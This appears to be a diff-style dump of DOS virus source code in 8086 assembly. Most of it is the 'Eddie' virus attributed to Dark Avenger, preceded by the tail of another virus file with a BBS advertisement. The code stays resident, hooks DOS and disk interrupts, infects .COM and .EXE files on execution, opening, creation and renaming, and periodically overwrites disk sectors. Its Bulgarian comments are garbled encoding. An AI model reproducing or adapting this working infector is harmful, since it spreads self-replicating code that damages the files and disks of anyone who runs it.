top_save equ save_int_21+4 ;Beginning of the buffer, that contains
|
||||
; - The first 24 bytes read from file
|
||||
; - File length (4 bytes)
|
||||
; - The last bytes of the file
|
||||
; (my_size bytes)
|
||||
top_bz equ top_save-copyright
|
||||
my_bz equ my_size-copyright
|
||||
|
||||
code ends
|
||||
end
|
||||
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
|
||||
@@ -0,0 +1,977 @@
|
||||
;************************
|
||||
;* *
|
||||
;* E D D I E *
|
||||
;* *
|
||||
;* by Dark Avenger *
|
||||
;* *
|
||||
;* 3-JAN-1989 *
|
||||
;* *
|
||||
;* version 1.31x *
|
||||
;* *
|
||||
;************************
|
||||
|
||||
|
||||
; "Blessed is he who expects nothing, for he shall not be disappointed."
|
||||
|
||||
; �°¥¤ ¢ ± ±²®¨ ®°¨£¨ «¨¿² ²¥ª±² ¥¤¨ ®² ¯º°¢¨²¥ ¡º«£ °±ª¨ ¢¨°³±¨. Š ª²®
|
||||
; ¬®¦¥ ¡¨ ¹¥ § ¡¥«¥¦¨²¥, ²®© ¥ ¯º«¥ ± £«³¯®±²¨ ¨ £°¥¸ª¨, ® ¢º¯°¥ª¨ ²®¢ ¥
|
||||
; ± ¬® ·¥ ±¥ ° §¯°®±²° ¨ ³·³¤¢ ¹® ¡º°§® ¨§ ±²° ² , ® ¨ ³±¯¿ § ª° ²ª® ¢°¥¬¥
|
||||
; ¤ ®¡¨ª®«¨ ±¢¥² (’®© ¥ ° §¯°®±²° ¥ ª ª²® ¢ ˆ§²®· ¨ ‡ ¯ ¤ …¢°®¯ , ² ª ¨
|
||||
; ¢ €¬¥°¨ª ). ’¥ª±²º² ±¥ ° §¯°®±²° ¿¢ ¯º«® ±¢®¡®¤® ¯® ±«³· © 1 £®¤¨ ®²
|
||||
; § ¢º°¸¢ ¥²® ¡ §®¢ ² ¬³ ¢¥°±¨¿. ‚¨¥ ¨¬ ²¥ ¯° ¢® ¤ ° §¯°®±²° ¿¢ ²¥
|
||||
; ²¥ª±² ª ª²® ¡¥§¯« ²®, ² ª ¨ ±°¥¹³ § ¯« ¹ ¥ ± ¥¤¨±²¢¥®²® ³±«®¢¨¥ ²®©
|
||||
; ¨§®¡¹® ¤ ¥ ¥ ¯°®¬¥¿. Š®©²® ³¬¨¸«¥® ° §¯°®±²° ¿¢ ¯°®¬¥¥ ¯® ¿ª ªº¢
|
||||
; ·¨ ²¥ª±², ¢º°¸¨ ²®¢ ¯°®²¨¢ ¦¥« ¨¥²® ¢²®° ¨ ¹¥ ¡º¤¥ ª § ! ‚º¯°¥ª¨
|
||||
; ²®¢ , ¢²®°º² ¹¥ ±¥ ° ¤¢ ª® ¿ª®© ®² ¢ ± ¨§¢º°¸¨ ¯®¤®¡°¥¨¿ ¢ ²¥ª±² ¨
|
||||
; ° §¯°®±²° ¿¢ ¯®«³·¥¨¿ ¨§¯º«¨¬ ´ ©« (².¥. ± ¬¨¿² ¢¨°³±). Ž¡º°¥²¥
|
||||
; ¢¨¬ ¨¥, ·¥ ±«¥¤ ±¥¬¡«¨° ¥²® ¯®«³·¥¨¿² .COM ´ ©« ¥ ¬®¦¥ ¤ ¡º¤¥
|
||||
; ±² °²¨° . ‡ ¶¥«² ²°¿¡¢ ¤ ±º§¤ ¤¥²¥ ´ ©« ± ¤º«¦¨ 3 ¡ ©² , ±º¤º°¦ ¹
|
||||
; ¸¥±² ©±¥²¨·¨²¥ ·¨±« 0e9h, 68h, 0 ¨ ±«¥¤ ²®¢ ¤ ®¡¥¤¨¨²¥ ¤¢ ² ´ ©« . �¥
|
||||
; ±¥ ®¯¨²¢ ©²¥ ¤ ¯®±² ¢¨²¥ ¨±²°³ª¶¨¿ JMP ¢ · «®²® ²¥ª±² .
|
||||
|
||||
|
||||
; ��…„“��…†„…�ˆ…: €¢²®°º² ¥ ¯®¥¬ ¨ª ª¢ ®²£®¢®°®±² § ¤¨°¥ª²® ¨«¨
|
||||
; ¨¤¨°¥ª²® ¥±¥¨ ¹¥²¨, ¯°¥¤¨§¢¨ª ¨ ®² ¨§¯®«§¢ ¥²® ¨«¨ ¥¨§¯®«§³¢ ¥²®
|
||||
; ²®§¨ ²¥ª±² ¨«¨ ¯®«³·¥¨¿ ¯°¨ ±¥¬¡«¨° ¥ ª®¤. �¨ª ª¢ £ ° ¶¨¿ ¥ ±¥ ¤ ¢
|
||||
; § ´³ª¶¨®¨° ¥²® ¨«¨ ª ·¥±²¢®²® ¯°®¤³ª² .
|
||||
|
||||
; �¥ ¬®£ ¤ ¥ ±¥ ¢º§¤º°¦ ¤ ¨§ª ¦ ±¯¥¶¨ « ² ±¨ ¡« £®¤ °®±² ¬®¿
|
||||
; ¯®¯³«¿°¨§ ²®° ¨¦. ‚¥±¥«¨ �®·¥¢, ª®©²® ¬¨ ¯° ¢¨ £®«¿¬ °¥ª« ¬ ¨ ®±¢¥
|
||||
; ²®¢ , ¨±ª ©ª¨ ¨«¨ ¥, ²®© ±º¤¥©±²¢³¢ ¬®£® § ° §¯°®±²° ¿¢ ¥²® ¬®¨²¥
|
||||
; ¢¨°³±¨ ¢º¯°¥ª¨, ·¥ ±¥ ®¯¨²¢ ¤ ¯° ¢¨ ²®·® ®¡° ²®²® (¯¨± ¥²® ¯°®£° ¬¨
|
||||
; C ¨ª®£® ¥ ¥ ¤®¢¥«® ¤® ¤®¡°®).
|
||||
; �®§¤° ¢¨ ¢±¨·ª¨ ¢¨°³±®¯¨± ·¨!
|
||||
|
||||
code segment
|
||||
assume cs:code,ds:code
|
||||
copyright:
|
||||
db 'Eddie lives...somewhere in time!',0
|
||||
date_stamp:
|
||||
dd 12239000h
|
||||
checksum:
|
||||
db 30
|
||||
|
||||
; ‚°º¹ ¥ ³¯° ¢«¥¨¥²® .EXE ´ ©«:
|
||||
; ‚º§±² ®¢¿¢ DS=ES=PSP, § °¥¦¤ SS:SP ¨ CS:IP.
|
||||
|
||||
exit_exe:
|
||||
mov bx,es
|
||||
add bx,10h
|
||||
add bx,word ptr cs:[si+call_adr+2]
|
||||
mov word ptr cs:[si+patch+2],bx
|
||||
mov bx,word ptr cs:[si+call_adr]
|
||||
mov word ptr cs:[si+patch],bx
|
||||
mov bx,es
|
||||
add bx,10h
|
||||
add bx,word ptr cs:[si+stack_pointer+2]
|
||||
mov ss,bx
|
||||
mov sp,word ptr cs:[si+stack_pointer]
|
||||
db 0eah ;JMP XXXX:YYYY
|
||||
patch:
|
||||
dd 0
|
||||
|
||||
; ‚°º¹ ¥ ³¯° ¢«¥¨¥²® .COM ´ ©«:
|
||||
; ‚º§±² ®¢¿¢ 3-²¥ ¡ ©² ¢ · «®²® ´ ©« , § °¥¦¤ SP ¨ IP.
|
||||
|
||||
exit_com:
|
||||
mov di,100h
|
||||
add si,offset my_save
|
||||
movsb
|
||||
movsw
|
||||
mov sp,ds:[6] ;’®¢ ¥ ¥¯° ¢¨«®
|
||||
xor bx,bx
|
||||
push bx
|
||||
jmp [si-11] ;si+call_adr-top_file
|
||||
|
||||
; ‚µ®¤ ²®·ª ¯°®£° ¬ ² .
|
||||
|
||||
startup:
|
||||
call relative
|
||||
relative:
|
||||
pop si ;SI = $
|
||||
sub si,offset relative
|
||||
cld
|
||||
cmp word ptr cs:[si+my_save],5a4dh
|
||||
je exe_ok
|
||||
cli
|
||||
mov sp,si ;‡ .COM ´ ©«®¢¥²¥ ±¥ ¯®¤¤º°¦ ®²¤¥«¥
|
||||
add sp,offset top_file+100h ;±²¥ª, § ¤ ¥ ±¥ ¯°¥¬¥±²¨ ¯°®£° ¬ ²
|
||||
sti ;¢º°µ³ ±²¥ª
|
||||
cmp sp,ds:[6]
|
||||
jnc exit_com
|
||||
exe_ok:
|
||||
push ax
|
||||
push es
|
||||
push si
|
||||
push ds
|
||||
mov di,si
|
||||
|
||||
; � ¬¨° ¥ ¤°¥± INT 13h ¢ ROM-BIOS
|
||||
|
||||
xor ax,ax
|
||||
push ax
|
||||
mov ds,ax
|
||||
les ax,ds:[13h*4]
|
||||
mov word ptr cs:[si+fdisk],ax
|
||||
mov word ptr cs:[si+fdisk+2],es
|
||||
mov word ptr cs:[si+disk],ax
|
||||
mov word ptr cs:[si+disk+2],es
|
||||
mov ax,ds:[40h*4+2] ;‚ INT 40h ±¥ § ¯ §¢ ¤°¥± INT 13h
|
||||
cmp ax,0f000h ;§ ¤¨±ª¥²¨ ¯°¨ «¨·¨¥ ²¢º°¤ ¤¨±ª
|
||||
jne nofdisk
|
||||
mov word ptr cs:[si+disk+2],ax
|
||||
mov ax,ds:[40h*4]
|
||||
mov word ptr cs:[si+disk],ax
|
||||
mov dl,80h
|
||||
mov ax,ds:[41h*4+2] ;INT 41h ®¡¨ª®¢¥® ±®·¨ ¢ ±¥£¬¥² ,
|
||||
cmp ax,0f000h ;ªº¤¥²® ¥ ®°¨£¨ «¨¿ INT 13h ¢¥ª²®°
|
||||
je isfdisk
|
||||
cmp ah,0c8h
|
||||
jc nofdisk
|
||||
cmp ah,0f4h
|
||||
jnc nofdisk
|
||||
test al,7fh
|
||||
jnz nofdisk
|
||||
mov ds,ax
|
||||
cmp ds:[0],0aa55h
|
||||
jne nofdisk
|
||||
mov dl,ds:[2]
|
||||
isfdisk:
|
||||
mov ds,ax
|
||||
xor dh,dh
|
||||
mov cl,9
|
||||
shl dx,cl
|
||||
mov cx,dx
|
||||
xor si,si
|
||||
findvect:
|
||||
lodsw ;Ž¡¨ª®¢¥® § ¯®·¢ ±:
|
||||
cmp ax,0fa80h ; CMP DL,80h
|
||||
jne altchk ; JNC ¿ªº¤¥
|
||||
lodsw
|
||||
cmp ax,7380h
|
||||
je intchk
|
||||
jne nxt0
|
||||
altchk:
|
||||
cmp ax,0c2f6h ;¨«¨ ±:
|
||||
jne nxt ; TEST DL,80h
|
||||
lodsw ; JNZ ¿ªº¤¥
|
||||
cmp ax,7580h
|
||||
jne nxt0
|
||||
intchk:
|
||||
inc si ;±«¥¤ ª®¥²® ¨¬ :
|
||||
lodsw ; INT 40h
|
||||
cmp ax,40cdh
|
||||
je found
|
||||
sub si,3
|
||||
nxt0:
|
||||
dec si
|
||||
dec si
|
||||
nxt:
|
||||
dec si
|
||||
loop findvect
|
||||
jmp short nofdisk
|
||||
found:
|
||||
sub si,7
|
||||
mov word ptr cs:[di+fdisk],si
|
||||
mov word ptr cs:[di+fdisk+2],ds
|
||||
nofdisk:
|
||||
mov si,di
|
||||
pop ds
|
||||
|
||||
; �°®¢¥°ª ¤ «¨ ¯°®£° ¬ ² ¥ °¥§¨¤¥²
|
||||
|
||||
les ax,ds:[21h*4]
|
||||
mov word ptr cs:[si+save_int_21],ax
|
||||
mov word ptr cs:[si+save_int_21+2],es
|
||||
push cs
|
||||
pop ds
|
||||
cmp ax,offset int_21
|
||||
jne bad_func
|
||||
xor di,di
|
||||
mov cx,offset my_size
|
||||
scan_func:
|
||||
lodsb
|
||||
scasb
|
||||
jne bad_func
|
||||
loop scan_func
|
||||
pop es
|
||||
jmp go_program
|
||||
|
||||
; �°¥¬¥±²¢ ¥ ¯°®£° ¬ ² ¢ £®°¨¿ ª° © ¯ ¬¥²²
|
||||
; (²³ª ¥ ¯º«® ± £«³¯®±²¨ ¨ £°¥¸ª¨)
|
||||
|
||||
bad_func:
|
||||
pop es
|
||||
mov ah,49h
|
||||
int 21h
|
||||
mov bx,0ffffh
|
||||
mov ah,48h
|
||||
int 21h
|
||||
sub bx,(top_bz+my_bz+1ch-1)/16+2
|
||||
jc go_program
|
||||
mov cx,es
|
||||
stc
|
||||
adc cx,bx
|
||||
mov ah,4ah
|
||||
int 21h
|
||||
mov bx,(offset top_bz+offset my_bz+1ch-1)/16+1
|
||||
stc
|
||||
sbb es:[2],bx
|
||||
push es
|
||||
mov es,cx
|
||||
mov ah,4ah
|
||||
int 21h
|
||||
mov ax,es
|
||||
dec ax
|
||||
mov ds,ax
|
||||
mov word ptr ds:[1],8
|
||||
call mul_16
|
||||
mov bx,ax
|
||||
mov cx,dx
|
||||
pop ds
|
||||
mov ax,ds
|
||||
call mul_16
|
||||
add ax,ds:[6]
|
||||
adc dx,0
|
||||
sub ax,bx
|
||||
sbb dx,cx
|
||||
jc mem_ok
|
||||
sub ds:[6],ax ;� ¬ «¿¢ ¥ £®«¥¬¨ ² ±¥£¬¥²
|
||||
mem_ok:
|
||||
pop si
|
||||
push si
|
||||
push ds
|
||||
push cs
|
||||
xor di,di
|
||||
mov ds,di
|
||||
lds ax,ds:[27h*4]
|
||||
mov word ptr cs:[si+save_int_27],ax
|
||||
mov word ptr cs:[si+save_int_27+2],ds
|
||||
pop ds
|
||||
mov cx,offset aux_size
|
||||
rep movsb
|
||||
xor ax,ax
|
||||
mov ds,ax
|
||||
mov ds:[21h*4],offset int_21;�°¥µ¢ ¹ ¥ INT 21h ¨ INT 27h
|
||||
mov ds:[21h*4+2],es
|
||||
mov ds:[27h*4],offset int_27
|
||||
mov ds:[27h*4+2],es
|
||||
mov word ptr es:[filehndl],ax
|
||||
pop es
|
||||
go_program:
|
||||
pop si
|
||||
|
||||
; ‡ ¬ §¢ ¥ ±«¥¤¢ ¹¨¿ ±¥ª²®° ®² ¤¨±ª
|
||||
|
||||
xor ax,ax
|
||||
mov ds,ax
|
||||
mov ax,ds:[13h*4]
|
||||
mov word ptr cs:[si+save_int_13],ax
|
||||
mov ax,ds:[13h*4+2]
|
||||
mov word ptr cs:[si+save_int_13+2],ax
|
||||
mov ds:[13h*4],offset int_13
|
||||
add ds:[13h*4],si
|
||||
mov ds:[13h*4+2],cs
|
||||
pop ds
|
||||
push ds
|
||||
push si
|
||||
mov bx,si
|
||||
lds ax,ds:[2ah]
|
||||
xor si,si
|
||||
mov dx,si
|
||||
scan_envir: ;� ¬¨° ¨¬¥²® ¯°®£° ¬ ²
|
||||
lodsw ;(±º± DOS 2.x ¨ ¡¥§ ¤°³£® ¥ ° ¡®²¨)
|
||||
dec si
|
||||
test ax,ax
|
||||
jnz scan_envir
|
||||
add si,3
|
||||
lodsb
|
||||
|
||||
; ‘«¥¤¢ ¹ ² ¨±²°³ª¶¨¿ ¥ ¯º« £«³¯®±². ޝ¨² ©²¥ ¤ ±¨ ¯¨¸¥²¥ path- ±
|
||||
; ¬ «ª¨ ¡³ª¢¨, ±«¥¤ ²®¢ ¯³±¥²¥ § ° §¥ ¯°®£° ¬ ®² ² ¬. ‚ °¥§³«² ²
|
||||
; £°¥¸ª ² ²³ª + £°¥¸ª ¢ DOS ±«¥¤¢ ¹¨¿² ±¥ª²®° ¥ ±¥ § ¬ §¢ , ® ±¥
|
||||
; § ¬ §¢ ² ¤¢ ¡ ©² ¢ ¯ ¬¥²² , ©-¢¥°®¿²® ¢º°µ³ § ° §¥ ² ¯°®£° ¬ .
|
||||
|
||||
sub al,'A'
|
||||
mov cx,1
|
||||
push cs
|
||||
pop ds
|
||||
add bx,offset int_27
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
int 25h
|
||||
pop ax
|
||||
pop cx
|
||||
pop bx
|
||||
inc byte ptr [bx+0ah]
|
||||
and byte ptr [bx+0ah],0fh ;ˆ§£«¥¦¤ 15 ¯º²¨ ¥¯° ¢¥¥ ¨¹® ¥ ¬®£®
|
||||
jnz store_sec ;¬ «ª® § ¿ª®¨ µ®°
|
||||
mov al,[bx+10h]
|
||||
xor ah,ah
|
||||
mul word ptr [bx+16h]
|
||||
add ax,[bx+0eh]
|
||||
push ax
|
||||
mov ax,[bx+11h]
|
||||
mov dx,32
|
||||
mul dx
|
||||
div word ptr [bx+0bh]
|
||||
pop dx
|
||||
add dx,ax
|
||||
mov ax,[bx+8]
|
||||
add ax,40h
|
||||
cmp ax,[bx+13h]
|
||||
jc store_new
|
||||
inc ax
|
||||
and ax,3fh
|
||||
add ax,dx
|
||||
cmp ax,[bx+13h]
|
||||
jnc small_disk
|
||||
store_new:
|
||||
mov [bx+8],ax
|
||||
store_sec:
|
||||
pop ax
|
||||
xor dx,dx
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
int 26h
|
||||
|
||||
; ‡ ¯¨±º² ¯°¥§ ²®¢ ¯°¥ªº±¢ ¥ ¥ ¥ ©-³¬®²® ¥¹®, § ¹®²® ²® ¬®¦¥ ¤ ¡º¤¥
|
||||
; ¯°¥µ¢ ²® (ª ª²® ¥ ³±¯¿« ¤ § ¡¥«¥¦¨ ‚¥±¥«¨ �®·¥¢)
|
||||
|
||||
pop ax
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
cmp byte ptr [bx+0ah],0
|
||||
jne not_now
|
||||
mov dx,[bx+8]
|
||||
pop bx
|
||||
push bx
|
||||
int 26h
|
||||
small_disk:
|
||||
pop ax
|
||||
not_now:
|
||||
pop si
|
||||
xor ax,ax
|
||||
mov ds,ax
|
||||
mov ax,word ptr cs:[si+save_int_13]
|
||||
mov ds:[13h*4],ax
|
||||
mov ax,word ptr cs:[si+save_int_13+2]
|
||||
mov ds:[13h*4+2],ax
|
||||
pop ds
|
||||
pop ax
|
||||
cmp word ptr cs:[si+my_save],5a4dh
|
||||
jne go_exit_com
|
||||
jmp exit_exe
|
||||
go_exit_com:
|
||||
jmp exit_com
|
||||
int_24:
|
||||
mov al,3 ;’ §¨ ¨±²°³ª¶¨¿ ¨§£«¥¦¤ ¨§«¨¸
|
||||
iret
|
||||
|
||||
; Ž¡° ¡®²ª INT 27h (²®¢ ¥ ¥®¡µ®¤¨¬®)
|
||||
|
||||
int_27:
|
||||
pushf
|
||||
call alloc
|
||||
popf
|
||||
jmp dword ptr cs:[save_int_27]
|
||||
|
||||
; �°¨ DOS-´³ª¶¨¨²¥ Set & Get Vector ±¥ ° ¡®²¨ ª ²® ·¥ «¨ ¯°®£° ¬ ² ¥ £¨ ¥
|
||||
; ¯°¥µ¢ « (²®¢ ¥ ±º¬¨²¥«® ¯°¥¤¨¬±²¢® ¨ ¥ ¥¤¨ ¢º§¬®¦¥ ¨§²®·¨ª
|
||||
; ¥¤®° §³¬¥¨¿ ± ¿ª®¨ "¨²¥«¨£¥²¨" ¯°®£° ¬¨)
|
||||
|
||||
set_int_27:
|
||||
mov word ptr cs:[save_int_27],dx
|
||||
mov word ptr cs:[save_int_27+2],ds
|
||||
popf
|
||||
iret
|
||||
set_int_21:
|
||||
mov word ptr cs:[save_int_21],dx
|
||||
mov word ptr cs:[save_int_21+2],ds
|
||||
popf
|
||||
iret
|
||||
get_int_27:
|
||||
les bx,dword ptr cs:[save_int_27]
|
||||
popf
|
||||
iret
|
||||
get_int_21:
|
||||
les bx,dword ptr cs:[save_int_21]
|
||||
popf
|
||||
iret
|
||||
|
||||
exec:
|
||||
call do_file
|
||||
call alloc
|
||||
popf
|
||||
jmp dword ptr cs:[save_int_21]
|
||||
|
||||
db 'Diana P.',0
|
||||
|
||||
; Ž¡° ¡®²ª INT 21h. ޱº¹¥±²¢¿¢ § ° §¿¢ ¥²® ´ ©«®¢¥²¥
|
||||
; ¯°¨ ¨§¯º«¥¨¥, ª®¯¨° ¥, ° §£«¥¦¤ ¥ ¨«¨ ±º§¤ ¢ ¥ ¨ ¿ª®¨ ¤°³£¨ ®¯¥° ¶¨¨.
|
||||
; ˆ§¯º«¥¨¥²® ´³ª¶¨¨ 0 ¨ 26h ¯°¥¤¨§¢¨ª¢ «®¸¨ ¯®±«¥¤¨¶¨.
|
||||
|
||||
int_21:
|
||||
push bp
|
||||
mov bp,sp
|
||||
push [bp+6]
|
||||
popf
|
||||
pop bp
|
||||
pushf
|
||||
call ontop
|
||||
cmp ax,2521h
|
||||
je set_int_21
|
||||
cmp ax,2527h
|
||||
je set_int_27
|
||||
cmp ax,3521h
|
||||
je get_int_21
|
||||
cmp ax,3527h
|
||||
je get_int_27
|
||||
cld
|
||||
cmp ax,4b00h
|
||||
je exec
|
||||
cmp ah,3ch
|
||||
je create
|
||||
cmp ah,3eh
|
||||
je close
|
||||
cmp ah,5bh
|
||||
jne not_create
|
||||
create:
|
||||
cmp word ptr cs:[filehndl],0;Œ®¦¥ ¨ ¤ ¥ 0 ¯°¨ ®²¢®°¥ ´ ©«
|
||||
jne dont_touch
|
||||
call see_name
|
||||
jnz dont_touch
|
||||
call alloc
|
||||
popf
|
||||
call function
|
||||
jc int_exit
|
||||
pushf
|
||||
push es
|
||||
push cs
|
||||
pop es
|
||||
push si
|
||||
push di
|
||||
push cx
|
||||
push ax
|
||||
mov di,offset filehndl
|
||||
stosw
|
||||
mov si,dx
|
||||
mov cx,65
|
||||
move_name:
|
||||
lodsb
|
||||
stosb
|
||||
test al,al
|
||||
jz all_ok
|
||||
loop move_name
|
||||
mov word ptr es:[filehndl],cx
|
||||
all_ok:
|
||||
pop ax
|
||||
pop cx
|
||||
pop di
|
||||
pop si
|
||||
pop es
|
||||
go_exit:
|
||||
popf
|
||||
jnc int_exit ;JMP
|
||||
close:
|
||||
cmp bx,word ptr cs:[filehndl]
|
||||
jne dont_touch
|
||||
test bx,bx
|
||||
jz dont_touch
|
||||
call alloc
|
||||
popf
|
||||
call function
|
||||
jc int_exit
|
||||
pushf
|
||||
push ds
|
||||
push cs
|
||||
pop ds
|
||||
push dx
|
||||
mov dx,offset filehndl+2
|
||||
call do_file
|
||||
mov word ptr cs:[filehndl],0
|
||||
pop dx
|
||||
pop ds
|
||||
jmp go_exit
|
||||
not_create:
|
||||
cmp ah,3dh
|
||||
je touch
|
||||
cmp ah,43h
|
||||
je touch
|
||||
cmp ah,56h ;‡ ±º¦ «¥¨¥ ª®¬ ¤¨¿ ¨²¥°¯°¥² ²®°
|
||||
jne dont_touch ;¥ ¨§¯®«§³¢ ² §¨ ´³ª¶¨¿
|
||||
touch:
|
||||
call see_name
|
||||
jnz dont_touch
|
||||
call do_file
|
||||
dont_touch:
|
||||
call alloc
|
||||
popf
|
||||
call function
|
||||
int_exit:
|
||||
pushf
|
||||
push ds
|
||||
call get_chain
|
||||
mov byte ptr ds:[0],'Z'
|
||||
pop ds
|
||||
popf
|
||||
dummy proc far ;???
|
||||
ret 2
|
||||
dummy endp
|
||||
|
||||
; �°®¢¥°¿¢ ¤ «¨ ´ ©«º² ¥ .COM ¨«¨ .EXE. �¥ ±¥ ¨§¢¨ª¢ ¯°¨ ¨§¯º«¥¨¥ ´ ©«.
|
||||
|
||||
see_name:
|
||||
push ax
|
||||
push si
|
||||
mov si,dx
|
||||
scan_name:
|
||||
lodsb
|
||||
test al,al
|
||||
jz bad_name
|
||||
cmp al,'.'
|
||||
jnz scan_name
|
||||
call get_byte
|
||||
mov ah,al
|
||||
call get_byte
|
||||
cmp ax,'co'
|
||||
jz pos_com
|
||||
cmp ax,'ex'
|
||||
jnz good_name
|
||||
call get_byte
|
||||
cmp al,'e'
|
||||
jmp short good_name
|
||||
pos_com:
|
||||
call get_byte
|
||||
cmp al,'m'
|
||||
jmp short good_name
|
||||
bad_name:
|
||||
inc al
|
||||
good_name:
|
||||
pop si
|
||||
pop ax
|
||||
ret
|
||||
|
||||
; �°¥®¡° §³¢ ¢ lowercase (¯®¤¯°®£° ¬¨²¥ ± ¢¥«¨ª® ¥¹®).
|
||||
|
||||
get_byte:
|
||||
lodsb
|
||||
cmp al,'C'
|
||||
jc byte_got
|
||||
cmp al,'Y'
|
||||
jnc byte_got
|
||||
add al,20h
|
||||
byte_got:
|
||||
ret
|
||||
|
||||
; ˆ§¢¨ª¢ ®°¨£¨ «¨¿ INT 21h (§ ¤ ¥ ±¥ § ¶¨ª«¨).
|
||||
|
||||
function:
|
||||
pushf
|
||||
call dword ptr cs:[save_int_21]
|
||||
ret
|
||||
|
||||
; “°¥¦¤ ¢º¯°®± ¨§¯º«¨¬ ´ ©«.
|
||||
|
||||
do_file:
|
||||
push ds ;‡ ¯ §¢ °¥£¨±²°¨²¥ ¢ ±²¥ª
|
||||
push es
|
||||
push si
|
||||
push di
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
mov si,ds
|
||||
xor ax,ax
|
||||
mov ds,ax
|
||||
les ax,ds:[24h*4] ;‡ ¯ §¢ INT 13h ¨ INT 24h ¢ ±²¥ª
|
||||
push es ;¨ £¨ ¯®¤¬¥¿ ± ª®¨²® ²°¿¡¢
|
||||
push ax
|
||||
mov ds:[24h*4],offset int_24
|
||||
mov ds:[24h*4+2],cs
|
||||
les ax,ds:[13h*4]
|
||||
mov word ptr cs:[save_int_13],ax
|
||||
mov word ptr cs:[save_int_13+2],es
|
||||
mov ds:[13h*4],offset int_13
|
||||
mov ds:[13h*4+2],cs
|
||||
push es
|
||||
push ax
|
||||
mov ds,si
|
||||
xor cx,cx ;“°¥¦¤ ¢º¯°®± Read-only ´ ©«®¢¥²¥
|
||||
mov ax,4300h
|
||||
call function
|
||||
mov bx,cx
|
||||
and cl,0feh
|
||||
cmp cl,bl
|
||||
je dont_change
|
||||
mov ax,4301h
|
||||
call function
|
||||
stc
|
||||
dont_change:
|
||||
pushf
|
||||
push ds
|
||||
push dx
|
||||
push bx
|
||||
mov ax,3d02h ;‘¥£ ¢¥·¥ ¬®¦¥¬ ±¯®ª®©±²¢¨¥ ¤
|
||||
call function ;®²¢®°¨¬ ´ ©«
|
||||
jc cant_open
|
||||
mov bx,ax
|
||||
call disease
|
||||
mov ah,3eh ;‡ ²¢ °¿¥
|
||||
call function
|
||||
cant_open:
|
||||
pop cx
|
||||
pop dx
|
||||
pop ds
|
||||
popf
|
||||
jnc no_update
|
||||
mov ax,4301h ;‚º§±² ®¢¿¢ ¥ ²°¨¡³²¨²¥ ´ ©« ,
|
||||
call function ; ª® ± ¡¨«¨ ¯°®¬¥¥¨ (§ ¢±¥ª¨ ±«³· ©)
|
||||
no_update:
|
||||
xor ax,ax ;‚º§±² ®¢¿¢ ¥ INT 13h ¨ INT 24h
|
||||
mov ds,ax
|
||||
pop ds:[13h*4]
|
||||
pop ds:[13h*4+2]
|
||||
pop ds:[24h*4]
|
||||
pop ds:[24h*4+2]
|
||||
pop dx ;‚º§±² ®¢¿¢ ¥ °¥£¨±²°¨²¥
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
pop di
|
||||
pop si
|
||||
pop es
|
||||
pop ds
|
||||
ret
|
||||
|
||||
; ’ §¨ ¯®¤¯°®£° ¬ ¢º°¸¨ ·¥° ² ° ¡®² .
|
||||
|
||||
disease:
|
||||
push cs
|
||||
pop ds
|
||||
push cs
|
||||
pop es
|
||||
mov dx,offset top_save ;�°®·¨² ¥ · «®²® ´ ©«
|
||||
mov cx,18h
|
||||
mov ah,3fh
|
||||
int 21h
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
mov ax,4202h ;‡ ¯ §¢ ¥ ¤º«¦¨ ² ´ ©«
|
||||
int 21h
|
||||
mov word ptr [top_save+1ah],dx
|
||||
cmp ax,offset my_size ;�¨ ²°¿¡¢ «® ¤ ¡º¤¥ top_file
|
||||
sbb dx,0
|
||||
jc stop_fuck_2 ;Œ «ª¨ ´ ©«®¢¥ ¥ ±¥ § ° §¿¢ ²
|
||||
mov word ptr [top_save+18h],ax
|
||||
cmp word ptr [top_save],5a4dh
|
||||
jne com_file
|
||||
mov ax,word ptr [top_save+8]
|
||||
add ax,word ptr [top_save+16h]
|
||||
call mul_16
|
||||
add ax,word ptr [top_save+14h]
|
||||
adc dx,0
|
||||
mov cx,dx
|
||||
mov dx,ax
|
||||
jmp short see_sick
|
||||
com_file:
|
||||
cmp byte ptr [top_save],0e9h
|
||||
jne see_fuck
|
||||
mov dx,word ptr [top_save+1]
|
||||
add dx,103h
|
||||
jc see_fuck
|
||||
dec dh
|
||||
xor cx,cx
|
||||
|
||||
; �º« ¯°®¢¥°ª ¤ «¨ § ´ ©« ¥ § «¥¯¥ ª®©²® ²°¿¡¢
|
||||
|
||||
see_sick:
|
||||
sub dx,startup-copyright
|
||||
sbb cx,0
|
||||
mov ax,4200h
|
||||
int 21h
|
||||
add ax,offset top_file
|
||||
adc dx,0
|
||||
cmp ax,word ptr [top_save+18h]
|
||||
jne see_fuck
|
||||
cmp dx,word ptr [top_save+1ah]
|
||||
jne see_fuck
|
||||
mov dx,offset top_save+1ch
|
||||
mov si,dx
|
||||
mov cx,offset my_size
|
||||
mov ah,3fh
|
||||
int 21h
|
||||
jc see_fuck
|
||||
cmp cx,ax
|
||||
jne see_fuck
|
||||
xor di,di
|
||||
next_byte:
|
||||
lodsb
|
||||
scasb
|
||||
jne see_fuck
|
||||
loop next_byte
|
||||
stop_fuck_2:
|
||||
ret
|
||||
see_fuck:
|
||||
xor cx,cx ;�®§¨¶¨®¨° ¥ ¢ ª° ¿ ´ ©«
|
||||
xor dx,dx
|
||||
mov ax,4202h
|
||||
int 21h
|
||||
cmp word ptr [top_save],5a4dh
|
||||
je fuck_exe
|
||||
